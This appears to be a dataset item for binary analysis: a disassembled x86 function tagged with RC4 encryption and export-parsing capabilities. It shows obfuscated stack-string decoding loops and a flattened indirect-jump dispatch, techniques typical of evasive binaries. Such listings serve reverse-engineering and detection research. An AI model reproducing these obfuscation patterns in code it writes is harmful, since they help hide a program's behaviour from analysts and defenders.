Function at 0x40c6e0
Capabilities:
Encrypt data using rc4 prga
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x280
mov esi, esp
mov dword [esi + 0x1bc], 0x4419d8
mov dword [esi + 0x2c], 0
mov edi, dword [str.default]
mov al, byte [esi + 0x28]
mov byte [esi + 0x30], al
mov dword [esi + 0x1d4], 0
mov dword [esi + 0x1d0], 0
mov dword [esi + 0x1cc], 0
mov dword [esi + 0x1c8], 0
mov dword [esi + 0x1c4], 0
mov dword [esi + 0x1c0], 0
mov byte [esi + 0x1c0], 0x2c
mov byte [esi + 0x1c1], 0xeb
mov byte [esi + 0x1c2], 7
mov byte [esi + 0x1c3], 0x4b
mov dword [esi + 8], 0
mov eax, dword [esi + 8]
cmp eax, 0x18
jae 0x40c7b7
jmp 0x40c777
mov eax, dword [esi + 8]
mov ecx, dword [esi + 8]
movzx ecx, byte [esi + ecx + 0x1c0]
mov edx, eax
add edx, 0x4401e475
lea eax, [eax + ecx + 0x4401e475]
and edx, ecx
add edx, edx
sub eax, edx
add al, 0xcd
mov ecx, dword [esi + 8]
mov byte [esi + ecx + 0x1c0], al
mov eax, dword [esi + 8]
inc eax
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
cmp eax, 0x18
jb 0x40c777
jmp 0x40c7b7
mov eax, dword [str.LPnhqo___xavierraaaa2]
mov dword [esi + 0x124], eax
mov al, byte [esi + 0x24]
mov byte [esi + 0x34], al
mov byte [esi + 0xc0], 0xd5
mov byte [esi + 0xc1], 0xdc
mov byte [esi + 0xc2], 0xcc
mov byte [esi + 0xc3], 4
mov byte [esi + 0xc4], 0xc8
mov byte [esi + 0xc5], 0xda
mov byte [esi + 0xc6], 0xd9
mov byte [esi + 0xc7], 0xd4
mov byte [esi + 0xc8], 0xc8
mov byte [esi + 0xc9], 0x26
mov byte [esi + 0xca], 0x21
mov byte [esi + 0xcb], 0x2c
mov byte [esi + 0xcc], 0x25
mov byte [esi + 0xcd], 0x30
mov byte [esi + 0xce], 0x31
mov byte [esi + 0xcf], 0x24
mov byte [esi + 0xd0], 0x2f
mov byte [esi + 0xd1], 0x2e
mov byte [esi + 0xd2], 0xee
mov byte [esi + 0xd3], 0x3d
mov byte [esi + 0xd4], 0x2d
mov byte [esi + 0xd5], 0x3f
mov byte [esi + 0xd6], 0xf3
mov byte [esi + 0xd7], 0xfb
mov byte [esi + 0xd8], 0xe0
mov byte [esi + 0xd9], 0xe1
mov byte [esi + 0xda], 0xf6
mov byte [esi + 0xdb], 0x3f
mov byte [esi + 0xdc], 0x39
mov byte [esi + 0xdd], 0x31
mov byte [esi + 0xde], 0xeb
mov byte [esi + 0xdf], 0xd7
mov byte [esi + 0xe8], 0
mov dword [esi + 0xe4], 0
mov dword [esi + 0xe0], 0
mov dword [esi + 0xc], 0
mov eax, dword [esi + 0xc]
cmp eax, 0x29
jae 0x40c921
mov dword [esi + 0x12c], edi
jmp 0x40c8da
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0xc]
movzx ebx, byte [esi + ecx + 0xc0]
mov edx, eax
add edx, 0x431dc577
mov ecx, ebx
not ecx
mov edi, edx
or edi, ecx
and edx, ebx
add edi, edx
sub eax, edi
add al, 0x35
mov ecx, dword [esi + 0xc]
mov byte [esi + ecx + 0xc0], al
mov eax, dword [esi + 0xc]
inc eax
mov dword [esi + 0xc], eax
mov eax, dword [esi + 0xc]
cmp eax, 0x29
jb 0x40c8da
mov edi, dword [esi + 0x12c]
jmp 0x40c921
sub esp, 8
lea eax, [esi + 0xc0]
mov dword [esp + 4], eax
lea ebx, [esi + 0x1ec]
mov dword [esp], ebx
call fcn.00408bb0
mov ecx, dword [esi + 0x124]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00408bb0
lea ecx, [esi + 0x1c0]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00408bb0
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00408bb0
add esp, 8
mov dword [esi + 0x1b4], eax
mov eax, dword [esi + 0x1b4]
sub eax, ebx
mov dword [esi + 0x1b0], eax
mov eax, dword [esi + 0x1b0]
mov cl, byte [esi + 0x1c]
mov byte [esi + 0x38], cl
mov byte [esi + 0x40], 0xcb
mov byte [esi + 0x41], 0xd
mov byte [esi + 0x42], 0x61
mov byte [esi + 0x43], 0xf3
mov byte [esi + 0x44], 0x62
mov byte [esi + 0x45], 0xf1
mov byte [esi + 0x46], 0x62
mov byte [esi + 0x47], 0xf7
mov byte [esi + 0x48], 0x51
mov byte [esi + 0x49], 0xf5
mov byte [esi + 0x4a], 0x68
mov byte [esi + 0x4b], 0xfb
mov byte [esi + 0x4c], 0x6c
mov byte [esi + 0x4d], 0xf9
mov byte [esi + 0x4e], 0x13
mov byte [esi + 0x4f], 0xff
mov byte [esi + 0x50], 0x48
mov byte [esi + 0x51], 0xfd
mov byte [esi + 0x52], 0x7b
mov byte [esi + 0x53], 0xe3
mov byte [esi + 0x54], 0x70
mov byte [esi + 0x55], 0xe1
mov byte [esi + 0x56], 0x43
mov byte [esi + 0x57], 0xe7
mov byte [esi + 0x58], 0x3a
mov byte [esi + 0x59], 0xe5
mov byte [esi + 0x5a], 0xa
mov byte [esi + 0x5b], 0xeb
mov byte [esi + 0x5c], 0x49
mov byte [esi + 0x5d], 0xe9
mov byte [esi + 0x5e], 0x7e
mov byte [esi + 0x5f], 0xef
mov byte [esi + 0x60], 0x7c
mov byte [esi + 0x61], 0xed
mov byte [esi + 0x62], 0x7e
mov byte [esi + 0x63], 0xd3
mov byte [esi + 0x64], 0x79
mov byte [esi + 0x65], 0xd1
mov byte [esi + 0x66], 0x71
mov byte [esi + 0x67], 0xd7
mov byte [esi + 0x68], 0x75
mov byte [esi + 0x69], 0xd5
mov byte [esi + 0x6a], 0x4e
mov byte [esi + 0x6b], 0xdb
mov byte [esi + 0x6c], 0x71
mov byte [esi + 0x6d], 0xd9
mov byte [esi + 0x6e], 0x4d
mov byte [esi + 0x6f], 0xdf
mov byte [esi + 0x70], 0x4e
mov byte [esi + 0x71], 0xdd
mov byte [esi + 0x72], 0x11
mov byte [esi + 0x73], 0xc3
mov byte [esi + 0x74], 0x58
mov byte [esi + 0x75], 0xc1
mov byte [esi + 0x76], 0x2b
mov byte [esi + 0x77], 0xc7
mov byte [esi + 0x78], 0x5f
mov byte [esi + 0x79], 0xc5
mov byte [esi + 0x7a], 0x51
mov byte [esi + 0x7b], 0xcb
mov byte [esi + 0x7c], 0x53
mov byte [esi + 0x7d], 0xc9
mov byte [esi + 0x7e], 0x23
mov byte [esi + 0x7f], 0xcf
mov byte [esi + 0x80], 0x66
mov byte [esi + 0x81], 0xcd
mov byte [esi + 0x82], 0x21
mov byte [esi + 0x83], 0xb3
mov byte [esi + 0x84], 0x26
mov byte [esi + 0x85], 0xb1
mov byte [esi + 0x86], 0x1b
mov byte [esi + 0x87], 0xb7
mov byte [esi + 0x88], 0x59
mov byte [esi + 0x89], 0xb5
mov byte [esi + 0x8a], 0x2f
mov byte [esi + 0x8b], 0xbb
mov byte [esi + 0x8c], 0x2e
mov byte [esi + 0x8d], 0xb9
mov byte [esi + 0x8e], 0x12
mov byte [esi + 0x8f], 0xbf
mov byte [esi + 0x90], 0x19
mov byte [esi + 0x91], 0xbd
mov byte [esi + 0x92], 0x30
mov byte [esi + 0x93], 0xa3
mov byte [esi + 0x94], 7
mov byte [esi + 0x95], 0xa1
mov byte [esi + 0x96], 0x35
mov byte [esi + 0x97], 0xa7
mov byte [esi + 0x98], 0
mov byte [esi + 0x99], 0xa5
mov byte [esi + 0x9a], 0xf
mov byte [esi + 0x9b], 0xab
mov byte [esi + 0x9c], 0xc
mov byte [esi + 0x9d], 0xa9
mov byte [esi + 0x9e], 0xa3
mov byte [esi + 0x9f], 0xaf
mov byte [esi + 0xa0], 0xa2
mov byte [esi + 0xa1], 0xad
mov byte [esi + 0xa2], 0x92
mov byte [esi + 0xa3], 0x93
mov byte [esi + 0xb4], 0
mov dword [esi + 0xb0], 0
mov dword [esi + 0xac], 0
mov dword [esi + 0xa8], 0
mov dword [esi + 0xa4], 0
mov dword [esi + 0x10], 0
mov ecx, dword [esi + 0x10]
cmp ecx, 0x75
jae 0x40cc06
jmp 0x40cbcb
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x10]
movzx edx, byte [esi + edx + 0x40]
mov edi, ecx
add edi, 0xadef7c7e
lea ecx, [ecx + edx - 0x52108382]
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0x8e
mov edx, dword [esi + 0x10]
mov byte [esi + edx + 0x40], cl
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
mov ecx, dword [esi + 0x10]
cmp ecx, 0x75
jb 0x40cbcb
jmp 0x40cc06
mov cl, byte [esi + 0x18]
mov byte [esi + 0x3c], cl
mov byte [esi + 0xf0], 0x17
mov byte [esi + 0xf1], 0x45
mov byte [esi + 0xf2], 0xe3
mov byte [esi + 0xf3], 0x4b
mov byte [esi + 0xf4], 0xda
mov byte [esi + 0xf5], 0x49
mov byte [esi + 0xf6], 0xe7
mov byte [esi + 0xf7], 0x4f
mov byte [esi + 0xf8], 0x4e
mov byte [esi + 0xf9], 0x4d
mov byte [esi + 0x10a], 0
mov dword [esi + 0x106], 0
mov dword [esi + 0x102], 0
mov dword [esi + 0xfe], 0
mov dword [esi + 0xfa], 0
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 0x1b
jae 0x40ccd3
jmp 0x40cc92
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x14]
movzx edx, byte [esi + edx + 0xf0]
mov edi, ecx
add edi, 0x7149e7f5
lea ecx, [ecx + edx + 0x7149e7f5]
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0x4d
mov edx, dword [esi + 0x14]
mov byte [esi + edx + 0xf0], cl
mov ecx, dword [esi + 0x14]
inc ecx
mov dword [esi + 0x14], ecx
mov ecx, dword [esi + 0x14]
cmp ecx, 0x1b
jb 0x40cc92
jmp 0x40ccd3
sub esp, 0x1c
lea ecx, [esi + 0x1ac]
mov dword [esp + 0x18], ecx
lea ecx, [esi + 0x20]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ebx
lea eax, [esi + 0x40]
mov dword [esp + 8], eax
lea eax, [esi + 0xf0]
mov dword [esp + 4], eax
mov dword [esp], 0x44aca0
call fcn.0040a9c0
add esp, 0x1c
movzx eax, al
mov dword [esi + 0x1b8], eax
mov eax, dword [esi + 0x1bc]
mov ecx, dword [esi + 0x1b8]
mov eax, dword [eax + ecx*4]
mov ecx, dword [0x4419e0]
xor ecx, 0xdce16f7f
sub eax, ecx
push eax
mov edx, esp
mov dword [edx], 0x441440
mov ecx, dword [0x4419e4]
mov dword [esi + 0x134], ecx
push eax
mov ecx, esp
mov dword [esi + 0x13c], ecx
mov dword [ecx], 0x4419ec
push eax
mov dword [esi + 0x138], esp
push eax
mov ecx, esp
mov dword [esi + 0x15c], ecx
mov dword [ecx], 0x4419f8
push eax
mov dword [esi + 0x150], esp
push eax
mov ecx, esp
mov dword [esi + 0x144], ecx
mov dword [ecx], 0x441440
mov ecx, dword [0x441a04]
mov dword [esi + 0x140], ecx
push eax
mov ecx, esp
mov dword [esi + 0x158], ecx
mov dword [ecx], 0x441a0c
push eax
mov dword [esi + 0x148], esp
push eax
mov ecx, esp
mov dword [esi + 0x17c], ecx
mov dword [ecx], 0x441a18
push eax
mov ebx, esp
push eax
mov ecx, esp
mov dword [esi + 0x164], ecx
mov dword [ecx], 0x441440
mov ecx, dword [0x441a24]
mov dword [esi + 0x160], ecx
push eax
mov ecx, esp
mov dword [esi + 0x170], ecx
mov dword [ecx], 0x441440
mov ecx, dword [0x441a2c]
mov dword [esi + 0x168], ecx
push eax
mov ecx, esp
mov dword [esi + 0x180], ecx
mov dword [ecx], 0x441440
mov ecx, dword [0x441a34]
mov dword [esi + 0x174], ecx
push eax
mov ecx, esp
mov dword [esi + 0x188], ecx
mov dword [ecx], 0x441a3c
push eax
mov dword [esi + 0x184], esp
push eax
mov ecx, esp
mov dword [esi + 0x1a0], ecx
mov dword [ecx], 0x441a48
push eax
mov dword [esi + 0x198], esp
push eax
mov ecx, esp
mov dword [esi + 0x190], ecx
mov dword [ecx], 0x441440
mov ecx, dword [0x441a54]
mov dword [esi + 0x18c], ecx
push eax
mov ecx, esp
mov dword [esi + 0x19c], ecx
mov dword [ecx], 0x441a5c
push eax
mov dword [esi + 0x194], esp
push eax
mov ecx, esp
mov dword [esi + 0x1a8], ecx
mov dword [ecx], 0x441a68
push eax
mov dword [esi + 0x1a4], esp
push eax
mov ecx, esp
mov dword [esi + 0x120], ecx
mov dword [ecx], 0x441440
mov edi, dword [0x441a74]
push eax
mov ecx, esp
mov dword [esi + 0x130], ecx
mov dword [ecx], 0x441440
mov ecx, dword [0x441a7c]
mov dword [esi + 0x128], ecx
push eax
mov ecx, esp
mov dword [esi + 0x154], ecx
mov dword [ecx], 0x441440
mov ecx, dword [0x441a84]
mov dword [esi + 0x14c], ecx
push eax
mov ecx, esp
mov dword [esi + 0x178], ecx
mov dword [ecx], 0x441440
mov ecx, dword [0x441a8c]
mov dword [esi + 0x16c], ecx
jmp eax